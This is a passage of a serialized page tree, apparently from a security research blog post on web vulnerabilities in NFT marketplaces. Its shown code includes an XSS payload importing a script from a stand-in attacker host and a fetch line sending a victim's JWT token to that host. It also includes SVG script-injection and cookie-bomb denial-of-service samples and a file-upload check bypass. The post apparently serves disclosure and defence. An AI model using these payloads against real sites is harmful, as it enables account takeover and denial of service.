,[31182,31186,31190],{"type":23,"tag":481,"props":31183,"children":31184},{"style":29891},[31185],{"type":28,"value":29910},{"type":23,"tag":481,"props":31187,"children":31188},{"style":497},[31189],{"type":28,"value":29931},{"type":23,"tag":481,"props":31191,"children":31192},{"style":29891},[31193],{"type":28,"value":3469},{"type":23,"tag":481,"props":31195,"children":31196},{"class":483,"line":1125},[31197],{"type":23,"tag":481,"props":31198,"children":31199},{"emptyLinePlaceholder":15},[31200],{"type":28,"value":1210},{"type":23,"tag":481,"props":31202,"children":31203},{"class":483,"line":1142},[31204,31208],{"type":23,"tag":481,"props":31205,"children":31206},{"style":525},[31207],{"type":28,"value":30405},{"type":23,"tag":481,"props":31209,"children":31210},{"style":497},[31211],{"type":28,"value":8366},{"type":23,"tag":481,"props":31213,"children":31214},{"class":483,"line":1159},[31215,31219,31223,31227,31231,31235,31239,31243,31247,31251,31255,31259],{"type":23,"tag":481,"props":31216,"children":31217},{"style":508},[31218],{"type":28,"value":30417},{"type":23,"tag":481,"props":31220,"children":31221},{"style":508},[31222],{"type":28,"value":30422},{"type":23,"tag":481,"props":31224,"children":31225},{"style":514},[31226],{"type":28,"value":30427},{"type":23,"tag":481,"props":31228,"children":31229},{"style":535},[31230],{"type":28,"value":30432},{"type":23,"tag":481,"props":31232,"children":31233},{"style":514},[31234],{"type":28,"value":578},{"type":23,"tag":481,"props":31236,"children":31237},{"style":535},[31238],{"type":28,"value":30432},{"type":23,"tag":481,"props":31240,"children":31241},{"style":610},[31242],{"type":28,"value":30445},{"type":23,"tag":481,"props":31244,"children":31245},{"style":514},[31246],{"type":28,"value":618},{"type":23,"tag":481,"props":31248,"children":31249},{"style":1805},[31250],{"type":28,"value":30454},{"type":23,"tag":481,"props":31252,"children":31253},{"style":514},[31254],{"type":28,"value":30459},{"type":23,"tag":481,"props":31256,"children":31257},{"style":610},[31258],{"type":28,"value":30464},{"type":23,"tag":481,"props":31260,"children":31261},{"style":514},[31262],{"type":28,"value":5214},{"type":23,"tag":481,"props":31264,"children":31265},{"class":483,"line":1172},[31266],{"type":23,"tag":481,"props":31267,"children":31268},{"emptyLinePlaceholder":15},[31269],{"type":28,"value":1210},{"type":23,"tag":481,"props":31271,"children":31272},{"class":483,"line":1181},[31273,31277,31281,31285,31289,31293,31297,31301,31305,31309,31313,31317,31321],{"type":23,"tag":481,"props":31274,"children":31275},{"style":508},[31276],{"type":28,"value":573},{"type":23,"tag":481,"props":31278,"children":31279},{"style":508},[31280],{"type":28,"value":30487},{"type":23,"tag":481,"props":31282,"children":31283},{"style":514},[31284],{"type":28,"value":30427},{"type":23,"tag":481,"props":31286,"children":31287},{"style":497},[31288],{"type":28,"value":12611},{"type":23,"tag":481,"props":31290,"children":31291},{"style":610},[31292],{"type":28,"value":30500},{"type":23,"tag":481,"props":31294,"children":31295},{"style":514},[31296],{"type":28,"value":30505},{"type":23,"tag":481,"props":31298,"children":31299},{"style":508},[31300],{"type":28,"value":30464},{"type":23,"tag":481,"props":31302,"children":31303},{"style":514},[31304],{"type":28,"value":20559},{"type":23,"tag":481,"props":31306,"children":31307},{"style":1805},[31308],{"type":28,"value":30518},{"type":23,"tag":481,"props":31310,"children":31311},{"style":514},[31312],{"type":28,"value":30523},{"type":23,"tag":481,"props":31314,"children":31315},{"style":508},[31316],{"type":28,"value":30528},{"type":23,"tag":481,"props":31318,"children":31319},{"style":1805},[31320],{"type":28,"value":30533},{"type":23,"tag":481,"props":31322,"children":31323},{"style":514},[31324],{"type":28,"value":30538},{"type":23,"tag":481,"props":31326,"children":31327},{"class":483,"line":1204},[31328,31332,31336,31340,31344,31348],{"type":23,"tag":481,"props":31329,"children":31330},{"style":508},[31331],{"type":28,"value":30417},{"type":23,"tag":481,"props":31333,"children":31334},{"style":508},[31335],{"type":28,"value":30550},{"type":23,"tag":481,"props":31337,"children":31338},{"style":514},[31339],{"type":28,"value":30427},{"type":23,"tag":481,"props":31341,"children":31342},{"style":497},[31343],{"type":28,"value":12611},{"type":23,"tag":481,"props":31345,"children":31346},{"style":610},[31347],{"type":28,"value":30563},{"type":23,"tag":481,"props":31349,"children":31350},{"style":514},[31351],{"type":28,"value":1201},{"type":23,"tag":481,"props":31353,"children":31354},{"class":483,"line":1213},[31355,31359,31363,31367,31371,31375,31379,31383],{"type":23,"tag":481,"props":31356,"children":31357},{"style":508},[31358],{"type":28,"value":30575},{"type":23,"tag":481,"props":31360,"children":31361},{"style":514},[31362],{"type":28,"value":199},{"type":23,"tag":481,"props":31364,"children":31365},{"style":508},[31366],{"type":28,"value":30584},{"type":23,"tag":481,"props":31368,"children":31369},{"style":514},[31370],{"type":28,"value":199},{"type":23,"tag":481,"props":31372,"children":31373},{"style":610},[31374],{"type":28,"value":7122},{"type":23,"tag":481,"props":31376,"children":31377},{"style":514},[31378],{"type":28,"value":618},{"type":23,"tag":481,"props":31380,"children":31381},{"style":508},[31382],{"type":28,"value":30601},{"type":23,"tag":481,"props":31384,"children":31385},{"style":514},[31386],{"type":28,"value":1366},{"type":23,"tag":481,"props":31388,"children":31389},{"class":483,"line":1222},[31390],{"type":23,"tag":481,"props":31391,"children":31392},{"emptyLinePlaceholder":15},[31393],{"type":28,"value":1210},{"type":23,"tag":481,"props":31395,"children":31396},{"class":483,"line":1291},[31397,31401,31405,31409,31413,31417,31421,31425],{"type":23,"tag":481,"props":31398,"children":31399},{"style":508},[31400],{"type":28,"value":30620},{"type":23,"tag":481,"props":31402,"children":31403},{"style":514},[31404],{"type":28,"value":199},{"type":23,"tag":481,"props":31406,"children":31407},{"style":508},[31408],{"type":28,"value":30629},{"type":23,"tag":481,"props":31410,"children":31411},{"style":514},[31412],{"type":28,"value":30427},{"type":23,"tag":481,"props":31414,"children":31415},{"style":508},[31416],{"type":28,"value":30638},{"type":23,"tag":481,"props":31418,"children":31419},{"style":514},[31420],{"type":28,"value":199},{"type":23,"tag":481,"props":31422,"children":31423},{"style":508},[31424],{"type":28,"value":30629},{"type":23,"tag":481,"props":31426,"children":31427},{"style":514},[31428],{"type":28,"value":528},{"type":23,"tag":481,"props":31430,"children":31431},{"class":483,"line":1299},[31432],{"type":23,"tag":481,"props":31433,"children":31434},{"emptyLinePlaceholder":15},[31435],{"type":28,"value":1210},{"type":23,"tag":481,"props":31437,"children":31438},{"class":483,"line":1329},[31439,31444,31448,31453],{"type":23,"tag":481,"props":31440,"children":31441},{"style":508},[31442],{"type":28,"value":31443}," form123",{"type":23,"tag":481,"props":31445,"children":31446},{"style":514},[31447],{"type":28,"value":199},{"type":23,"tag":481,"props":31449,"children":31450},{"style":610},[31451],{"type":28,"value":31452},"submit",{"type":23,"tag":481,"props":31454,"children":31455},{"style":514},[31456],{"type":28,"value":5214},{"type":23,"tag":481,"props":31458,"children":31459},{"class":483,"line":1337},[31460,31464],{"type":23,"tag":481,"props":31461,"children":31462},{"style":497},[31463],{"type":28,"value":30658},{"type":23,"tag":481,"props":31465,"children":31466},{"style":525},[31467],{"type":28,"value":30663},{"type":23,"tag":481,"props":31469,"children":31470},{"class":483,"line":1369},[31471],{"type":23,"tag":481,"props":31472,"children":31473},{"emptyLinePlaceholder":15},[31474],{"type":28,"value":1210},{"type":23,"tag":481,"props":31476,"children":31477},{"class":483,"line":1377},[31478,31482,31486],{"type":23,"tag":481,"props":31479,"children":31480},{"style":29891},[31481],{"type":28,"value":30360},{"type":23,"tag":481,"props":31483,"children":31484},{"style":497},[31485],{"type":28,"value":29931},{"type":23,"tag":481,"props":31487,"children":31488},{"style":29891},[31489],{"type":28,"value":3469},{"type":23,"tag":481,"props":31491,"children":31492},{"class":483,"line":1437},[31493,31497,31501],{"type":23,"tag":481,"props":31494,"children":31495},{"style":29891},[31496],{"type":28,"value":29945},{"type":23,"tag":481,"props":31498,"children":31499},{"style":497},[31500],{"type":28,"value":29898},{"type":23,"tag":481,"props":31502,"children":31503},{"style":29891},[31504],{"type":28,"value":3469},{"type":23,"tag":24,"props":31506,"children":31507},{},[31508],{"type":28,"value":31509},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":23,"tag":435,"props":31511,"children":31515},{"className":31512,"code":31513,"language":31514,"meta":7,"style":7},"language-json shiki shiki-themes slack-dark","{\n \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n \"to\": \"profile-assets\",\n \"type\": \"icon\"\n}\n","json",[31516],{"type":23,"tag":64,"props":31517,"children":31518},{"__ignoreMap":7},[31519,31526,31547,31568,31585],{"type":23,"tag":481,"props":31520,"children":31521},{"class":483,"line":484},[31522],{"type":23,"tag":481,"props":31523,"children":31524},{"style":525},[31525],{"type":28,"value":8366},{"type":23,"tag":481,"props":31527,"children":31528},{"class":483,"line":351},[31529,31534,31538,31543],{"type":23,"tag":481,"props":31530,"children":31531},{"style":508},[31532],{"type":28,"value":31533}," \"address\"",{"type":23,"tag":481,"props":31535,"children":31536},{"style":525},[31537],{"type":28,"value":12820},{"type":23,"tag":481,"props":31539,"children":31540},{"style":1805},[31541],{"type":28,"value":31542},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":23,"tag":481,"props":31544,"children":31545},{"style":525},[31546],{"type":28,"value":1033},{"type":23,"tag":481,"props":31548,"children":31549},{"class":483,"line":531},[31550,31555,31559,31564],{"type":23,"tag":481,"props":31551,"children":31552},{"style":508},[31553],{"type":28,"value":31554}," \"to\"",{"type":23,"tag":481,"props":31556,"children":31557},{"style":525},[31558],{"type":28,"value":12820},{"type":23,"tag":481,"props":31560,"children":31561},{"style":1805},[31562],{"type":28,"value":31563},"\"profile-assets\"",{"type":23,"tag":481,"props":31565,"children":31566},{"style":525},[31567],{"type":28,"value":1033},{"type":23,"tag":481,"props":31569,"children":31570},{"class":483,"line":567},[31571,31576,31580],{"type":23,"tag":481,"props":31572,"children":31573},{"style":508},[31574],{"type":28,"value":31575}," \"type\"",{"type":23,"tag":481,"props":31577,"children":31578},{"style":525},[31579],{"type":28,"value":12820},{"type":23,"tag":481,"props":31581,"children":31582},{"style":1805},[31583],{"type":28,"value":31584},"\"icon\"\n",{"type":23,"tag":481,"props":31586,"children":31587},{"class":483,"line":678},[31588],{"type":23,"tag":481,"props":31589,"children":31590},{"style":525},[31591],{"type":28,"value":1443},{"type":23,"tag":24,"props":31593,"children":31594},{},[31595],{"type":28,"value":31596},"Then, the imported script is able to exfiltrate the JWT authentication token from stashh.io:",{"type":23,"tag":435,"props":31598,"children":31600},{"className":28878,"code":31599,"language":28880,"meta":7,"style":7},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[31601],{"type":23,"tag":64,"props":31602,"children":31603},{"__ignoreMap":7},[31604],{"type":23,"tag":481,"props":31605,"children":31606},{"class":483,"line":484},[31607,31612,31616,31621,31626,31631,31635,31640,31644,31649,31653,31658,31662],{"type":23,"tag":481,"props":31608,"children":31609},{"style":610},[31610],{"type":28,"value":31611},"fetch",{"type":23,"tag":481,"props":31613,"children":31614},{"style":525},[31615],{"type":28,"value":618},{"type":23,"tag":481,"props":31617,"children":31618},{"style":1805},[31619],{"type":28,"value":31620},"`https://attacker-server.com/?token_leak=",{"type":23,"tag":481,"props":31622,"children":31623},{"style":497},[31624],{"type":28,"value":31625},"${",{"type":23,"tag":481,"props":31627,"children":31628},{"style":508},[31629],{"type":28,"value":31630},"localStorage",{"type":23,"tag":481,"props":31632,"children":31633},{"style":514},[31634],{"type":28,"value":199},{"type":23,"tag":481,"props":31636,"children":31637},{"style":610},[31638],{"type":28,"value":31639},"getItem",{"type":23,"tag":481,"props":31641,"children":31642},{"style":514},[31643],{"type":28,"value":618},{"type":23,"tag":481,"props":31645,"children":31646},{"style":1805},[31647],{"type":28,"value":31648},"'token'",{"type":23,"tag":481,"props":31650,"children":31651},{"style":514},[31652],{"type":28,"value":642},{"type":23,"tag":481,"props":31654,"children":31655},{"style":497},[31656],{"type":28,"value":31657},"}",{"type":23,"tag":481,"props":31659,"children":31660},{"style":1805},[31661],{"type":28,"value":7867},{"type":23,"tag":481,"props":31663,"children":31664},{"style":525},[31665],{"type":28,"value":1366},{"type":23,"tag":7092,"props":31667,"children":31669},{"id":31668},"svgs",[31670],{"type":28,"value":31671},"SVGs",{"type":23,"tag":24,"props":31673,"children":31674},{},[31675],{"type":28,"value":31676},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":23,"tag":24,"props":31678,"children":31679},{},[31680],{"type":28,"value":31681},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":23,"tag":435,"props":31683,"children":31685},{"className":28878,"code":31684,"language":28880,"meta":7,"style":7},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n \u003Ctitle>XSS\u003C/title>\n \u003Cscript type=\"text/javascript\">\n alert(document.domain);\n \u003C/script>\n \u003C/svg>\n",[31686],{"type":23,"tag":64,"props":31687,"children":31688},{"__ignoreMap":7},[31689,31735,31772,31779,31809,31841,31869,31877,31893],{"type":23,"tag":481,"props":31690,"children":31691},{"class":483,"line":484},[31692,31697,31702,31707,31711,31716,31721,31725,31730],{"type":23,"tag":481,"props":31693,"children":31694},{"style":514},[31695],{"type":28,"value":31696},"\u003C?",{"type":23,"tag":481,"props":31698,"children":31699},{"style":508},[31700],{"type":28,"value":31701},"xml",{"type":23,"tag":481,"props":31703,"children":31704},{"style":508},[31705],{"type":28,"value":31706}," version",{"type":23,"tag":481,"props":31708,"children":31709},{"style":514},[31710],{"type":28,"value":603},{"type":23,"tag":481,"props":31712,"children":31713},{"style":1805},[31714],{"type":28,"value":31715},"\"1.0\"",{"type":23,"tag":481,"props":31717,"children":31718},{"style":508},[31719],{"type":28,"value":31720}," encoding",{"type":23,"tag":481,"props":31722,"children":31723},{"style":514},[31724],{"type":28,"value":603},{"type":23,"tag":481,"props":31726,"children":31727},{"style":1805},[31728],{"type":28,"value":31729},"\"UTF-8\"",{"type":23,"tag":481,"props":31731,"children":31732},{"style":514},[31733],{"type":28,"value":31734},"?>\n",{"type":23,"tag":481,"props":31736,"children":31737},{"class":483,"line":351},[31738,31743,31748,31753,31758,31763,31768],{"type":23,"tag":481,"props":31739,"children":31740},{"style":514},[31741],{"type":28,"value":31742},"\u003C!",{"type":23,"tag":481,"props":31744,"children":31745},{"style":508},[31746],{"type":28,"value":31747},"DOCTYPE",{"type":23,"tag":481,"props":31749,"children":31750},{"style":508},[31751],{"type":28,"value":31752}," svg",{"type":23,"tag":481,"props":31754,"children":31755},{"style":508},[31756],{"type":28,"value":31757}," PUBLIC",{"type":23,"tag":481,"props":31759,"children":31760},{"style":1805},[31761],{"type":28,"value":31762}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":23,"tag":481,"props":31764,"children":31765},{"style":1805},[31766],{"type":28,"value":31767}," \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":23,"tag":481,"props":31769,"children":31770},{"style":514},[31771],{"type":28,"value":3469},{"type":23,"tag":481,"props":31773,"children":31774},{"class":483,"line":531},[31775],{"type":23,"tag":481,"props":31776,"children":31777},{"emptyLinePlaceholder":15},[31778],{"type":28,"value":1210},{"type":23,"tag":481,"props":31780,"children":31781},{"class":483,"line":567},[31782,31786,31791,31796,31800,31805],{"type":23,"tag":481,"props":31783,"children":31784},{"style":29891},[31785],{"type":28,"value":6199},{"type":23,"tag":481,"props":31787,"children":31788},{"style":497},[31789],{"type":28,"value":31790},"svg",{"type":23,"tag":481,"props":31792,"children":31793},{"style":508},[31794],{"type":28,"value":31795}," xmlns",{"type":23,"tag":481,"props":31797,"children":31798},{"style":514},[31799],{"type":28,"value":603},{"type":23,"tag":481,"props":31801,"children":31802},{"style":1805},[31803],{"type":28,"value":31804},"\"http://www.w3.org/2000/svg\"",{"type":23,"tag":481,"props":31806,"children":31807},{"style":29891},[31808],{"type":28,"value":3469},{"type":23,"tag":481,"props":31810,"children":31811},{"class":483,"line":678},[31812,31816,31821,31825,31829,31833,31837],{"type":23,"tag":481,"props":31813,"children":31814},{"style":29891},[31815],{"type":28,"value":29910},{"type":23,"tag":481,"props":31817,"children":31818},{"style":497},[31819],{"type":28,"value":31820},"title",{"type":23,"tag":481,"props":31822,"children":31823},{"style":29891},[31824],{"type":28,"value":7947},{"type":23,"tag":481,"props":31826,"children":31827},{"style":525},[31828],{"type":28,"value":28752},{"type":23,"tag":481,"props":31830,"children":31831},{"style":29891},[31832],{"type":28,"value":29945},{"type":23,"tag":481,"props":31834,"children":31835},{"style":497},[31836],{"type":28,"value":31820},{"type":23,"tag":481,"props":31838,"children":31839},{"style":29891},[31840],{"type":28,"value":3469},{"type":23,"tag":481,"props":31842,"children":31843},{"class":483,"line":784},[31844,31848,31852,31856,31860,31865],{"type":23,"tag":481,"props":31845,"children":31846},{"style":29891},[31847],{"type":28,"value":29910},{"type":23,"tag":481,"props":31849,"children":31850},{"style":497},[31851],{"type":28,"value":29931},{"type":23,"tag":481,"props":31853,"children":31854},{"style":508},[31855],{"type":28,"value":30056},{"type":23,"tag":481,"props":31857,"children":31858},{"style":514},[31859],{"type":28,"value":603},{"type":23,"tag":481,"props":31861,"children":31862},{"style":1805},[31863],{"type":28,"value":31864},"\"text/javascript\"",{"type":23,"tag":481,"props":31866,"children":31867},{"style":29891},[31868],{"type":28,"value":3469},{"type":23,"tag":481,"props":31870,"children":31871},{"class":483,"line":812},[31872],{"type":23,"tag":481,"props":31873,"children":31874},{"style":525},[31875],{"type":28,"value":31876}," alert(document.domain);\n",{"type":23,"tag":481,"props":31878,"children":31879},{"class":483,"line":825},[31880,31885,31889],{"type":23,"tag":481,"props":31881,"children":31882},{"style":29891},[31883],{"type":28,"value":31884}," \u003C/",{"type":23,"tag":481,"props":31886,"children":31887},{"style":497},[31888],{"type":28,"value":29931},{"type":23,"tag":481,"props":31890,"children":31891},{"style":29891},[31892],{"type":28,"value":3469},{"type":23,"tag":481,"props":31894,"children":31895},{"class":483,"line":843},[31896,31901,31905],{"type":23,"tag":481,"props":31897,"children":31898},{"style":29891},[31899],{"type":28,"value":31900}," \u003C/",{"type":23,"tag":481,"props":31902,"children":31903},{"style":497},[31904],{"type":28,"value":31790},{"type":23,"tag":481,"props":31906,"children":31907},{"style":29891},[31908],{"type":28,"value":3469},{"type":23,"tag":24,"props":31910,"children":31911},{},[31912,31914,31921],{"type":28,"value":31913},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":23,"tag":190,"props":31915,"children":31918},{"href":31916,"rel":31917},"https://xtingles.com/",[194],[31919],{"type":28,"value":31920},"xtingles Marketplace",{"type":28,"value":199},{"type":23,"tag":24,"props":31923,"children":31924},{},[31925],{"type":28,"value":31926},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":23,"tag":24,"props":31928,"children":31929},{},[31930],{"type":28,"value":31931},"Below, we show you how we did it.",{"type":23,"tag":24,"props":31933,"children":31934},{},[31935],{"type":28,"value":31936},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":23,"tag":24,"props":31938,"children":31939},{},[31940],{"type":23,"tag":149,"props":31941,"children":31943},{"alt":7,"src":31942},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":23,"tag":24,"props":31945,"children":31946},{},[31947],{"type":28,"value":31948},"After changing the extension inside the file name.",{"type":23,"tag":24,"props":31950,"children":31951},{},[31952],{"type":23,"tag":149,"props":31953,"children":31955},{"alt":7,"src":31954},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":23,"tag":7092,"props":31957,"children":31959},{"id":31958},"svgs-return",[31960],{"type":28,"value":31961},"SVGs Return",{"type":23,"tag":24,"props":31963,"children":31964},{},[31965],{"type":28,"value":31966},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or CloudFront.",{"type":23,"tag":24,"props":31968,"children":31969},{},[31970],{"type":28,"value":31971},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":23,"tag":24,"props":31973,"children":31974},{},[31975],{"type":28,"value":31976},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":23,"tag":435,"props":31978,"children":31982},{"className":31979,"code":31980,"language":31981,"meta":7,"style":7},"language-jsx shiki shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n \u003Ctitle>XSS\u003C/title>\n \u003Cscript type=\"text/javascript\">\n var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n var Set_Cookie = Array(10000).join('a');\n\n for (var i = 1; i \u003C 99; i++) {\n document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n }\n \u003C/script>\n \u003C/svg>\n","jsx",[31983],{"type":23,"tag":64,"props":31984,"children":31985},{"__ignoreMap":7},[31986,32025,32056,32063,32090,32121,32148,32156,32164,32171,32183,32258,32266,32281],{"type":23,"tag":481,"props":31987,"children":31988},{"class":483,"line":484},[31989,31993,31997,32001,32005,32009,32013,32017,32021],{"type":23,"tag":481,"props":31990,"children":31991},{"style":514},[31992],{"type":28,"value":31696},{"type":23,"tag":481,"props":31994,"children":31995},{"style":508},[31996],{"type":28,"value":31701},{"type":23,"tag":481,"props":31998,"children":31999},{"style":508},[32000],{"type":28,"value":31706},{"type":23,"tag":481,"props":32002,"children":32003},{"style":514},[32004],{"type":28,"value":603},{"type":23,"tag":481,"props":32006,"children":32007},{"style":1805},[32008],{"type":28,"value":31715},{"type":23,"tag":481,"props":32010,"children":32011},{"style":508},[32012],{"type":28,"value":31720},{"type":23,"tag":481,"props":32014,"children":32015},{"style":514},[32016],{"type":28,"value":603},{"type":23,"tag":481,"props":32018,"children":32019},{"style":1805},[32020],{"type":28,"value":31729},{"type":23,"tag":481,"props":32022,"children":32023},{"style":514},[32024],{"type":28,"value":31734},{"type":23,"tag":481,"props":32026,"children":32027},{"class":483,"line":351},[32028,32032,32036,32040,32044,32048,32052],{"type":23,"tag":481,"props":32029,"children":32030},{"style":514},[32031],{"type":28,"value":31742},{"type":23,"tag":481,"props":32033,"children":32034},{"style":508},[32035],{"type":28,"value":31747},{"type":23,"tag":481,"props":32037,"children":32038},{"style":508},[32039],{"type":28,"value":31752},{"type":23,"tag":481,"props":32041,"children":32042},{"style":508},[32043],{"type":28,"value":31757},{"type":23,"tag":481,"props":32045,"children":32046},{"style":1805},[32047],{"type":28,"value":31762},{"type":23,"tag":481,"props":32049,"children":32050},{"style":1805},[32051],{"type":28,"value":31767},{"type":23,"tag":481,"props":32053,"children":32054},{"style":514},[32055],{"type":28,"value":3469},{"type":23,"tag":481,"props":32057,"children":32058},{"class":483,"line":531},[32059],{"type":23,"tag":481,"props":32060,"children":32061},{"emptyLinePlaceholder":15},[32062],{"type":28,"value":1210},{"type":23,"tag":481,"props":32064,"children":32065},{"class":483,"line":567},[32066,32070,32074,32078,32082,32086],{"type":23,"tag":481,"props":32067,"children":32068},{"style":29891},[32069],{"type":28,"value":6199},{"type":23,"tag":481,"props":32071,"children":32072},{"style":497},[32073],{"type":28,"value":31790},{"type":23,"tag":481,"props":32075,"children":32076},{"style":508},[32077],{"type":28,"value":31795},{"type":23,"tag":481,"props":32079,"children":32080},{"style":514},[32081],{"type":28,"value":603},{"type":23,"tag":481,"props":32083,"children":32084},{"style":1805},[32085],{"type":28,"value":31804},{"type":23,"tag":481,"props":32087,"children":32088},{"style":29891},[32089],{"type":28,"value":3469},{"type":23,"tag":481,"props":32091,"children":32092},{"class":483,"line":678},[32093,32097,32101,32105,32109,32113,32117],{"type":23,"tag":481,"props":32094,"children":32095},{"style":29891},[32096],{"type":28,"value":29910},{"type":23,"tag":481,"props":32098,"children":32099},{"style":497},[32100],{"type":28,"value":31820},{"type":23,"tag":481,"props":32102,"children":32103},{"style":29891},[32104],{"type":28,"value":7947},{"type":23,"tag":481,"props":32106,"children":32107},{"style":525},[32108],{"type":28,"value":28752},{"type":23,"tag":481,"props":32110,"children":32111},{"style":29891},[32112],{"type":28,"value":29945},{"type":23,"tag":481,"props":32114,"children":32115},{"style":497},[32116],{"type":28,"value":31820},{"type":23,"tag":481,"props":32118,"children":32119},{"style":29891},[32120],{"type":28,"value":3469},{"type":23,"tag":481,"props":32122,"children":32123},{"class":483,"line":784},[32124,32128,32132,32136,32140,32144],{"type":23,"tag":481,"props":32125,"children":32126},{"style":29891},[32127],{"type":28,"value":29910},{"type":23,"tag":481,"props":32129,"children":32130},{"style":497},[32131],{"type":28,"value":29931},{"type":23,"tag":481,"props":32133,"children":32134},{"style":508},[32135],{"type":28,"value":30056},{"type":23,"tag":481,"props":32137,"children":32138},{"style":514},[32139],{"type":28,"value":603},{"type":23,"tag":481,"props":32141,"children":32142},{"style":1805},[32143],{"type":28,"value":31864},{"type":23,"tag":481,"props":32145,"children":32146},{"style":29891},[32147],{"type":28,"value":3469},{"type":23,"tag":481,"props":32149,"children":32150},{"class":483,"line":812},[32151],{"type":23,"tag":481,"props":32152,"children":32153},{"style":525},[32154],{"type":28,"value":32155}," var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":23,"tag":481,"props":32157,"children":32158},{"class":483,"line":825},[32159],{"type":23,"tag":481,"props":32160,"children":32161},{"style":525},[32162],{"type":28,"value":32163}," var Set_Cookie = Array(10000).join('a');\n",{"type":23,"tag":481,"props":32165,"children":32166},{"class":483,"line":843},[32167],{"type":23,"tag":481,"props":32168,"children":32169},{"emptyLinePlaceholder":15},[32170],{"type":28,"value":1210},{"type":23,"tag":481,"props":32172,"children":32173},{"class":483,"line":864},[32174,32179],{"type":23,"tag":481,"props":32175,"children":32176},{"style":525},[32177],{"type":28,"value":32178}," for (var i = 1; i \u003C 99; i++) ",{"type":23,"tag":481,"props":32180,"children":32181},{"style":497},[32182],{"type":28,"value":8366},{"type":23,"tag":481,"props":32184,"children":32185},{"class":483,"line":873},[32186,32191,32195,32200,32204,32209,32214,32218,32222,32227,32231,32236,32240,32245,32249,32254],{"type":23,"tag":481,"props":32187,"children":32188},{"style":508},[32189],{"type":28,"value":32190}," document",{"type":23,"tag":481,"props":32192,"children":32193},{"style":514},[32194],{"type":28,"value":199},{"type":23,"tag":481,"props":32196,"children":32197},{"style":508},[32198],{"type":28,"value":32199},"cookie",{"type":23,"tag":481,"props":32201,"children":32202},{"style":514},[32203],{"type":28,"value":30427},{"type":23,"tag":481,"props":32205,"children":32206},{"style":1805},[32207],{"type":28,"value":32208},"'Cookie'",{"type":23,"tag":481,"props":32210,"children":32211},{"style":514},[32212],{"type":28,"value":32213}," + ",{"type":23,"tag":481,"props":32215,"children":32216},{"style":508},[32217],{"type":28,"value":1274},{"type":23,"tag":481,"props":32219,"children":32220},{"style":514},[32221],{"type":28,"value":32213},{"type":23,"tag":481,"props":32223,"children":32224},{"style":1805},[32225],{"type":28,"value":32226},"'='",{"type":23,"tag":481,"props":32228,"children":32229},{"style":514},[32230],{"type":28,"value":32213},{"type":23,"tag":481,"props":32232,"children":32233},{"style":508},[32234],{"type":28,"value":32235},"Set_Cookie",{"type":23,"tag":481,"props":32237,"children":32238},{"style":514},[32239],{"type":28,"value":32213},{"type":23,"tag":481,"props":32241,"children":32242},{"style":1805},[32243],{"type":28,"value":32244},"';Domain='",{"type":23,"tag":481,"props":32246,"children":32247},{"style":514},[32248],{"type":28,"value":32213},{"type":23,"tag":481,"props":32250,"children":32251},{"style":508},[32252],{"type":28,"value":32253},"Take_Domain",{"type":23,"tag":481,"props":32255,"children":32256},{"style":514},[32257],{"type":28,"value":528},{"type":23,"tag":481,"props":32259,"children":32260},{"class":483,"line":1125},[32261],{"type":23,"tag":481,"props":32262,"children":32263},{"style":497},[32264],{"type":28,"value":32265}," }\n",{"type":23,"tag":481,"props":32267,"children":32268},{"class":483,"line":1142},[32269,32273,32277],{"type":23,"tag":481,"props":32270,"children":32271},{"style":29891},[32272],{"type":28,"value":31884},{"type":23,"tag":481,"props":32274,"children":32275},{"style":497},[32276],{"type":28,"value":29931},{"type":23,"tag":481,"props":32278,"children":32279},{"style":29891},[32280],{"type":28,"value":3469},{"type":23,"tag":481,"props":32282,"children":32283},{"class":483,"line":1159},[32284,32288,32292],{"type":23,"tag":481,"props":32285,"children":32286},{"style":29891},[32287],{"type":28,"value":31900},{"type":23,"tag":481,"props":32289,"children":32290},{"style":497},[32291],{"type":28,"value":31790},{"type":23,"tag":481,"props":32293,"children":32294},{"style":29891},[32295],{"type":28,"value":3469},{"type":23,"tag":24,"props":32297,"children":32298},{},[32299],{"type":28,"value":32300},"As a result, we're able to prevent the user from loading images.",{"type":23,"tag":31,"props":32302,"children":32304},{"id":32303},"authentication",[32305],{"type":28,"value":32306},"Authentication",{"type":23,"tag":24,"props":32308,"children":32309},{},[32310],{"type":23,"tag":127,"props":32311,"children":32312},{},[32313,32315,32322],{"type":28,"value":32314},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a 